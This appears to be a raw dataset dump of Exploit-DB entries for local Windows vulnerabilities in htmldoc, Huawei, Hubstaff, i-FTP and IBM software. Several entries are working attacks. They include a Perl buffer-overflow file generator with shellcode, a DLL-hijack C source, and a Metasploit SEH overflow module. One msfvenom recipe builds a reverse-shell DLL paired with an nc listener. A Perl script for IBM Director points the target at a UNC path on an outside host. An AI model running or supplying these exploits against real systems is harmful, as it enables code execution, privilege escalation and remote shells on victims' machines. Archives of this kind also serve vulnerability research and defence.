deardaniel/secdata-raw huggingface dataset:
Exploit-DB #9190
Description: htmldoc 1.8.27.1 - '.html' Universal Stack Overflow
Type: local
Platform: windows
Date: 2009-07-17
Author: ksa04

Exploit:
#!/usr/bin/perl
# htmldoc 1.8.27.1 (.html) Universal Stack Overflow Exploit
# http://en.securitylab.ru/poc/extra/382563.php >> Bufferoverflow POC
# By ksa04
# j-7[at]hotmail[dot]com
# From Kingdom of Saudi Arabia
#[+]--------------------------------------------------------------------------------------[+]#
# program : HTMLDOC
# version : all versions (tested 1.8.27.1 and 1.8.27 and 1.8.24)
# website program : http://www.htmldoc.org 
# Download : http://www.easysw.com/htmldoc/software.php
# Tested Under Windows XP SP3
# NOTE : launching from directory >> htmldoc -f lol.pdf exploit.html
# or launching HTMLDOC.exe >> add file >> Document type (wEb page or continuous) >>
# put any thing in Output >> Generate 
#[+]--------------------------------------------------------------------------------------[+]#
# win32_exec -  EXITFUNC=seh CMD=calc Size=343 Encoder=PexAlphaNum http://metasploit.com
my $shellcode = 
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49".
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36".
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34".
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41".
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x44".
"\x42\x30\x42\x50\x42\x30\x4b\x48\x45\x54\x4e\x43\x4b\x38\x4e\x47".
"\x45\x50\x4a\x57\x41\x30\x4f\x4e\x4b\x58\x4f\x54\x4a\x41\x4b\x38".
"\x4f\x45\x42\x42\x41\x50\x4b\x4e\x49\x44\x4b\x38\x46\x33\x4b\x48".
"\x41\x50\x50\x4e\x41\x53\x42\x4c\x49\x59\x4e\x4a\x46\x58\x42\x4c".
"\x46\x57\x47\x30\x41\x4c\x4c\x4c\x4d\x30\x41\x30\x44\x4c\x4b\x4e".
"\x46\x4f\x4b\x53\x46\x55\x46\x32\x46\x50\x45\x47\x45\x4e\x4b\x58".
"\x4f\x45\x46\x52\x41\x50\x4b\x4e\x48\x56\x4b\x58\x4e\x50\x4b\x44".
"\x4b\x48\x4f\x55\x4e\x41\x41\x30\x4b\x4e\x4b\x58\x4e\x41\x4b\x38".
"\x41\x50\x4b\x4e\x49\x48\x4e\x45\x46\x32\x46\x50\x43\x4c\x41\x33".
"\x42\x4c\x46\x46\x4b\x38\x42\x44\x42\x53\x45\x38\x42\x4c\x4a\x47".
"\x4e\x30\x4b\x48\x42\x44\x4e\x50\x4b\x58\x42\x37\x4e\x51\x4d\x4a".
"\x4b\x48\x4a\x36\x4a\x30\x4b\x4e\x49\x50\x4b\x38\x42\x58\x42\x4b".
"\x42\x50\x42\x50\x42\x50\x4b\x38\x4a\x36\x4e\x43\x4f\x45\x41\x53".
"\x48\x4f\x42\x46\x48\x35\x49\x38\x4a\x4f\x43\x48\x42\x4c\x4b\x57".
"\x42\x45\x4a\x36\x42\x4f\x4c\x38\x46\x30\x4f\x35\x4a\x46\x4a\x39".
"\x50\x4f\x4c\x38\x50\x50\x47\x55\x4f\x4f\x47\x4e\x43\x46\x41\x46".
"\x4e\x46\x43\x36\x42\x50\x5a";
$payload = "<!-- MEDIA SIZE 1x1".
"\x41" x 248 .
"\x90" x 20 .
"\x30\x5C\x34\x7C".		# push esp msvcr71.dll
$shellcode.
"-->\n";
open(vuln,'>>exploit.html');
print vuln $payload;
print "[+] Done !! [+]";
close(vuln);

# milw0rm.com [2009-07-17]
Exploit-DB #50545
Description: HTTPDebuggerPro 9.11 - Unquoted Service Path
Type: local
Platform: windows
Date: 2021-11-24
Author: Aryan Chehreghani

Exploit:
# Exploit Title: HTTPDebuggerPro 9.11 - Unquoted Service Path
# Exploit Author: Aryan Chehreghani
# Date: 23/11/2021
# Vendor Homepage: https://www.httpdebugger.com
# Software Link: https://www.httpdebugger.com/download.html
# Version: 9.11
# Tested on: Windows 10 x64

SERVICE_NAME: HTTPDebuggerPro
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : "C:\Program Files (x86)\HTTPDebuggerPro\HTTPDebuggerSvc.exe"
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : HTTP Debugger Pro
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem
Exploit-DB #46866
Description: Huawei eSpace 1.1.11.103 - DLL Hijacking
Type: local
Platform: windows
Date: 2019-05-20
Author: LiquidWorm

Exploit:
/*

Huawei eSpace Desktop DLL Hijacking Vulnerability


Vendor: Huawei Technologies Co., Ltd.
Product web page: https://www.huawei.com
Affected version: eSpace 1.1.11.103 (aka eSpace ECS, eSpace Desktop, eSpace Meeting, eSpace UC)

Summary: Create more convenient Enhanced Communications (EC) services for your
enterprise with this suite of products. Huawei’s EC Suite (ECS) solution combines
voice, data, video, and service streams, and provides users with easy and secure
access to their service platform from any device, in any place, at any time. The
eSpace Meeting allows you to join meetings that support voice, data, and video
functions using the PC client, the tablet client, or an IP phone, or in a meeting
room with an MT deployed.

Desc: eSpace suffers from a DLL Hijacking issue. The vulnerability is caused due
to the application loading libraries (mfc71enu.dll, mfc71loc.dll, tcapi.dll and 
airpcap.dll) in an insecure manner. This can be exploited to load arbitrary libraries
by tricking a user into opening a related application file (.html, .jpg, .png)
located on a remote WebDAV or SMB share.

Tested on: Microsoft Windows 7 Professional


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic

19.08.2014

Patched version: V200R003C00
Vuln ID: HWPSIRT-2014-1153 and HWPSIRT-2014-1154
CVE ID: CVE-2014-9416
Advisory: https://www.huawei.com/en/psirt/security-advisories/hw-406589

*/


// gcc -shared -o mfc71enu.dll exploit.c

#include <windows.h> 

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpvReserved)
{
	exec();
	return 0;
}

int exec()
{
	WinExec("calc.exe" , SW_NORMAL);
	return 0;
}
Exploit-DB #30477
Description: Huawei Technologies du Mobile Broadband 16.0 - Local Privilege Escalation
Type: local
Platform: windows
Date: 2013-12-24
Author: LiquidWorm

Exploit:
Huawei Technologies du Mobile Broadband 16.0 Local Privilege Escalation


Vendor: Huawei Technologies Co., Ltd.
Product Web Page: http://www.huawei.com
Affected version: 16.002.03.16.124

Summary: du Mobile Broadband is a shareware application for
du EITC UAE users to support mobile broadband (3G) activation
for du service provider with systems containing one of the
supported devices. It lets you access du wireless internet
wherever you are and whenever you need it, all powered through
your mobile data SIM or simply by connecting your 3G USB stick
to your device.

Desc: The application is vulnerable to an elevation of privileges
vulnerability which can be used by a simple user that can change
the executable file with a binary of choice. The vulnerability
exist due to the improper permissions, with the 'F' flag (full)
for the 'Everyone' and 'Users' group, for the 'du Mobile Broadband.exe'
binary file. The files are installed in the 'du Mobile Broadband'
directory which has the Everyone group assigned to it with full
permissions making every single file inside vulnerable to change
by any user on the affected machine. After you replace the binary
with your rootkit, on reboot you get SYSTEM privileges.

Tested on: Microsoft Windows 7 Ultimate (EN) 64bit


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2013-5164
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5164.php



18.12.2013

---


C:\Program Files (x86)>cacls "du Mobile Broadband"
C:\Program Files (x86)\du Mobile Broadband Everyone:(OI)(CI)F
                                           BUILTIN\Users:(OI)(IO)F
                                           BUILTIN\Users:(CI)F
                                           NT SERVICE\TrustedInstaller:(ID)F
                                           NT SERVICE\TrustedInstaller:(CI)(IO)(ID)F
                                           NT AUTHORITY\SYSTEM:(ID)F
                                           NT AUTHORITY\SYSTEM:(OI)(CI)(IO)(ID)F
                                           BUILTIN\Administrators:(ID)F
                                           BUILTIN\Administrators:(OI)(CI)(IO)(ID)F
                                           CREATOR OWNER:(OI)(CI)(IO)(ID)F


C:\Program Files (x86)>cd "du Mobile Broadband"

C:\Program Files (x86)\du Mobile Broadband>cacls "du Mobile Broadband.exe"
C:\Program Files (x86)\du Mobile Broadband\du Mobile Broadband.exe Everyone:F
                                                                   BUILTIN\Users:F
                                                                   NT AUTHORITY\SYSTEM:(ID)F
                                                                   BUILTIN\Administrators:(ID)F


C:\Program Files (x86)\du Mobile Broadband>
Exploit-DB #32205
Description: Huawei Technologies eSpace Meeting Service 1.0.0.23 - Local Privilege Escalation
Type: local
Platform: windows
Date: 2014-03-12
Author: LiquidWorm

Exploit:

Huawei Technologies eSpace Meeting Service 1.0.0.23 Local Privilege Escalation


Vendor: Huawei Technologies Co., Ltd.
Product web page: http://www.huawei.com
Affected version: 1.0.0.23 (V100R001C03SPC201B050)

Summary: Huawei's eSpace Meeting solution fully meets the needs of enterprise
customers for an integrated daily collaboration system by integrating the
conference server, conference video terminal, conference user authorization,
and teleconference.

Desc: The application is vulnerable to an elevation of privileges vulnerability
which can be used by a simple user that can change the executable file with a
binary of choice. The vulnerability exist due to the improper permissions, with
the 'F' flag (full) for the 'Users' group, for the 'eMservice.exe' binary file.
The service is installed by default to start on system boot with LocalSystem
privileges. Attackers can replace the binary with their rootkit, and on reboot
they get SYSTEM privileges.

Tested on: Microsoft Windows 7 Professional SP1 (EN)


Vulnerbility discovered by Gjoko 'LiquidWorm' Krstic
                           @zeroscience


Advisory ID: ZSL-2014-5171
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2014-5171.php

Huawei ID: Huawei-SA-20140310-01
Huawei Advisory: http://www.huawei.com/en/security/psirt/security-bulletins/security-advisories/hw-329170.htm



18.01.2014

------------------------------------

C:\>sc qc eSpaceMeeting
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: eSpaceMeeting
        TYPE               : 110  WIN32_OWN_PROCESS (interactive)
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\ProgramData\eSpaceMeeting\eMservice.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : eSpaceMeeting
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem

C:\>icacls ProgramData\eSpaceMeeting\eMservice.exe
ProgramData\eSpaceMeeting\eMservice.exe BUILTIN\Users:(I)(F)
                                        NT AUTHORITY\SYSTEM:(I)(F)
                                        BUILTIN\Administrators:(I)(F)

Successfully processed 1 files; Failed processing 0 files

C:\>

------------------------------------
Exploit-DB #40807
Description: Huawei UTPS - Unquoted Service Path Privilege Escalation
Type: local
Platform: windows
Date: 2016-11-22
Author: Dhruv Shah

Exploit:
# Exploit Title: Unquoted Service Path Vulnerability in Huawei UTPS Software
# Date: Nov 16 2016
# Author: Dhruv Shah (@Snypter)
# Website: http://security-geek.in
# Contact: dhruv-shah@live.com
# Category: local
# Vendor Homepage: http://www.huawei.com/
# Version: Versions earlier than UTPS-V200R003B015D16SPC00C983
# Tested on: Windows XP , Windows 7-10 x86/x64
# CVE: CVE-2016-8769

1. Description

Huawei UTPS Software is the core software that is bundled with the
Internet Dongles, it provides it dongles to companies like Airtel ,
TATA Photon . This is the software that installs itself for the Dongle
to run on the attached machine. It installs as a service ("Photon.
RunOUC") and ("Airtel. RunOuc") with an unquoted service path running
with SYSTEM privileges.
This could potentially allow an authorized but non-privileged local
user to execute arbitrary code with elevated privileges on the system.

2. Proof of Concept

 ( TATA PHOTON Dongles)
C:\Documents and Settings\Dhruv>sc qc "Photon. RunOuc"
[SC] GetServiceConfig SUCCESS

SERVICE_NAME: Photon. RunOuc
        TYPE               : 110  WIN32_OWN_PROCESS (interactive)
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program
Files\Photon\Huawei\EC306-1\UpdateDog\ouc.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : Photon. OUC
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem

( Airtel Dongles)
C:\Documents and Settings\Dhruv>sc qc "airtel. Runouc"
[SC] GetServiceConfig SUCCESS

SERVICE_NAME: airtel. Runouc
        TYPE               : 110  WIN32_OWN_PROCESS (interactive)
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files\airtel\UpdateDog\ouc.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : airtel. OUC
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem

3. Exploit:

A successful attempt would require the local attacker must insert an
executable file
in the path of the service.
Upon service restart or system reboot, the malicious code will be run
with elevated privileges.


Additional notes :

Fixed in version UTPS-V200R003B015D16SPC00C983

CVSSv3 Risk Rating
Base Score: 6.4 (AV:L/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H )
Temporal Score:  5.9 (E:F/RL:O/RC:C)

Vulnerability Disclosure Timeline:
=========================
06/09/2016   -   Contact With Vendor
06/09/2016   -   Vendor Response
15/11/2016   -   Release Fixed Version
Exploit-DB #51461
Description: Hubstaff 1.6.14-61e5e22e - 'wow64log' DLL Search Order Hijacking
Type: local
Platform: windows
Date: 2023-05-23
Author: Ahsan Azad

Exploit:
*#Exploit Title:*  Hubstaff 1.6.14-61e5e22e - 'wow64log' DLL Search Order Hijacking
*#Date:* 14/05/2023
*#Exploit Author:* Ahsan Azad
*#Vendor Homepage:* https://hubstaff.com/
*#Software Link:* https://app.hubstaff.com/download
*#Version:* 1.6.13, 1.6.14
*#Tested On:* 64-bit operating system, x64-based processor

*Description*
Hubstaff is an employee work tracker with screenshots, timesheets, billing,
in-depth reports, and more.

During testing. It was found that the system32 subdirectory was missing a
DLL library with the name *wow64log.dll* that had been required by the
hubstaff's setup file during installation. Hence, using Metasploit's
msfvenom to create a new wow64log.dll file, Tester was able to get a
reverse shell locally.


*Exploit*
1- Generate a dll file with the name  wow64log.dll using the command:

*msfvenom -p windows/x64/shell_reverse_tcp LHOST=<IP> LPORT=<Port> -f dll
-o  wow64log.dll*

2- Place the newly generated DLL to the *system32 *directory.
3- Start a listener on attacker's console using:

*nc -lnvp <port_used_while_generating_DLL>*

4- Launch the exe.

Reverse shell will be receive as:


*C:\Windows>*



*Attachments (For the understanding of verification team)*
1.png - Showing the wow64.dll was not found by the exe. [image: 1.png]

2.png - Showing how tester was able to generate a new dll using msfvenom on
port 1337.
[image: 2.png]

3.png - Showing a reverse connection received on the attacker's console
at C:\Windows> by launching the exe.[image: 3.png]
Exploit-DB #35671
Description: i-FTP Schedule - Local Buffer Overflow (Metasploit)
Type: local
Platform: windows
Date: 2015-01-01
Author: Metasploit

Exploit:
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'rexml/document'

class Metasploit3 < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::FILEFORMAT
  include Msf::Exploit::Remote::Seh
  include REXML

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'i-FTP Schedule Buffer Overflow',
      'Description'    => %q{
          This module exploits a stack-based buffer overflow vulnerability in
        i-Ftp v2.20, caused by a long time value set for scheduled download.
        By persuading the victim to place a specially-crafted Schedule.xml file
        in the i-FTP folder, a remote attacker could execute arbitrary code on
        the system or cause the application to crash. This module has been
        tested successfully on Windows XP SP3.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'metacom',      # Vulnerability discovery and PoC
          'Gabor Seljan'  # Metasploit module
        ],
      'References'     =>
        [
          [ 'EDB', '35177' ],
          [ 'OSVDB', '114279' ],
        ],
      'DefaultOptions' =>
        {
          'ExitFunction' => 'process'
        },
      'Platform'       => 'win',
      'Payload'        =>
        {
          'BadChars'   => "\x00\x0a\x0d\x20\x22",
          'Space'      => 2000
        },
      'Targets'        =>
        [
          [ 'Windows XP SP3',
            {
              'Offset' => 600,
              'Ret'    => 0x1001eade  # POP ECX # POP ECX # RET [Lgi.dll]
            }
          ]
        ],
      'Privileged'     => false,
      'DisclosureDate' => 'Nov 06 2014',
      'DefaultTarget'  => 0))

      register_options(
        [
          OptString.new('FILENAME', [ false, 'The file name.', 'Schedule.xml'])
        ],
      self.class)

  end

  def exploit

    evil =  rand_text_alpha(target['Offset'])
    evil << generate_seh_payload(target.ret)
    evil << rand_text_alpha(20000)

    xml = Document.new
    xml << XMLDecl.new('1.0', 'UTF-8')
    xml.add_element('Schedule', {})
    xml.elements[1].add_element(
      'Event',
      {
        'Url' => '',
        'Time' => 'EVIL',
        'Folder' => ''
      })

    sploit = ''
    xml.write(sploit, 2)
    sploit = sploit.gsub(/EVIL/, evil)

    # Create the file
    print_status("Creating '#{datastore['FILENAME']}' file ...")
    file_create(sploit)

  end
end
Exploit-DB #24678
Description: IBM DB2 - Universal Database Information Disclosure
Type: local
Platform: windows
Date: 2004-09-01
Author: Chris Anley

Exploit:
source: https://www.securityfocus.com/bid/11402/info

An information disclosure vulnerability has been reported in IBM DB2. This vulnerability only exists when DB2 is installed on Microsoft Windows operating systems. This is due to a Windows permissions issue related to shared memory sections, culminating in authorized access to sensitive information.

This vulnerability allows local users to inappropriately connect to DB2 IPC resources, and to also read files that may contain potentially sensitive information. This may aid them in further attacks.

- Database usernames and passwords may be read from the 'DB2SHMSECURITYSERVICE' memory section.

- Various shared memory sections may be read allowing unauthorized access to query or query result data. The following examples were provided:

section read DB20QM 
section read DB2GLBQ0QM 
section read DB2SHMDB2_0APP 
section read DB2SHMDB2_0APL00000003 
section read DB2SHMDB2_0APL00000004 
section read DB2SHMDB2_0APL00000005
Exploit-DB #19472
Description: IBM GINA for NT 1.0 - Local Privilege Escalation
Type: local
Platform: windows
Date: 1999-08-23
Author: Frank Pikelner

Exploit:
source: https://www.securityfocus.com/bid/608/info

IBM has written a replacement GINA for Windows NT to allow NT hosts to authenticate against OS/2 domains. On machines running the modified GINA, the creation of a specific Registry key under HKLM\System\CurrentControlSet\Services\IBMNeTNT may allow a user to add any Group to the "Local Administrators" group upon next reboot. ACL permissions over this key allow non-administrators to create the necessary key and value.

Modify the following Registry key:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\IBMNeTNT\GroupMapping

to include

Value Name: GroupName (where group name is the name of the group to add the the administrators group)
Data Type: Reg_SZ
String: Administrators

Reboot the host.
Exploit-DB #19227
Description: IBM Remote Control Software 1.0 - Code Execution
Type: local
Platform: windows
Date: 1999-05-10
Author: Thomas Krug

Exploit:
source: https://www.securityfocus.com/bid/284/info

The IBM Remote Control Software package requires a client module to be loaded on NT hosts to be remotey controlled. This client module is loaded as an NT service and must run under either the local system account or the user context of a user account having administrative privileges.

It has been discovered that this service may be exploited by a local user level account to execute code with administrator privileges. This vulnerability would allow a user (with no admin rights) to execute programs that might allow them to elevate their privileges to that of an administrator. 

Open the Netfinity client. Launch the Process Manager. From the Process Manager interface, launch arbitrary code. usrmgr.exe, musrmgr.exe, regedt32.exe, etc. may be launched and be used by the user level account to grant administrator privileges to any account on the host (or domain).
Exploit-DB #32845
Description: IBM System Director Agent 5.20 - CIM Server Privilege Escalation
Type: local
Platform: windows
Date: 2009-03-10
Author: Bernhard Mueller

Exploit:
source: https://www.securityfocus.com/bid/34065/info

IBM Director is prone to a privilege-escalation vulnerability that affects the CIM server.

Attackers can leverage this issue to execute arbitrary code with elevated privileges in the context of the CIM server process.

Versions prior to IBM Director 5.20.3 Service Update 2 are affected. 

use IO::Socket;
#1st argument: target host
my $sock = IO::Socket::INET->new(PeerAddr => $ARGV[0],
                                 PeerPort => "6988",
                                 Proto    => 'tcp');
$payload =
qq{<?xml version="1.0" encoding="utf-8" ?>
<CIM CIMVERSION="2.0" DTDVERSION="2.0">
 <MESSAGE ID="1007" PROTOCOLVERSION="1.0">
  <SIMPLEEXPREQ>
    <EXPMETHODCALL NAME="ExportIndication">
     <EXPPARAMVALUE NAME="NewIndication">
      <INSTANCE CLASSNAME="CIM_AlertIndication" >
        <PROPERTY NAME="Description" TYPE="string">
          <VALUE>Sample CIM_AlertIndication indication</VALUE>
        </PROPERTY>
        <PROPERTY NAME="AlertType" TYPE="uint16">
          <VALUE>1</VALUE>
        </PROPERTY>
        <PROPERTY NAME="PerceivedSeverity" TYPE="uint16">
          <VALUE>3</VALUE>
        </PROPERTY>
        <PROPERTY NAME="ProbableCause" TYPE="uint16">
          <VALUE>2</VALUE>
        </PROPERTY>
        <PROPERTY NAME="IndicationTime" TYPE="datetime">
          <VALUE>[PII_REDACTED]4354.000000:000</VALUE>
        </PROPERTY>
      </INSTANCE>
    </EXPPARAMVALUE>
  </EXPMETHODCALL>
 </SIMPLEEXPREQ>
 </MESSAGE>
</CIM>};
$req =
"M-POST /CIMListener/\\\\isowarez.de\\director\\wootwoot HTTP/1.1\r\n"
."Host: $ARGV[0]\r\n"
."Content-Type: application/xml; charset=utf-8\r\n"
."Content-Length: ". length($payload) ."\r\n"
."Man: http://www.dmtf.org/cim/mapping/http/v1.0 ; ns=40\r\n"
."CIMOperation: MethodCall\r\n"
."CIMExport: MethodRequest\r\n"
."CIMExportMethod: ExportIndication\r\n\r\n";
print $sock $req . $payload;

while(<$sock>) {
	print;
}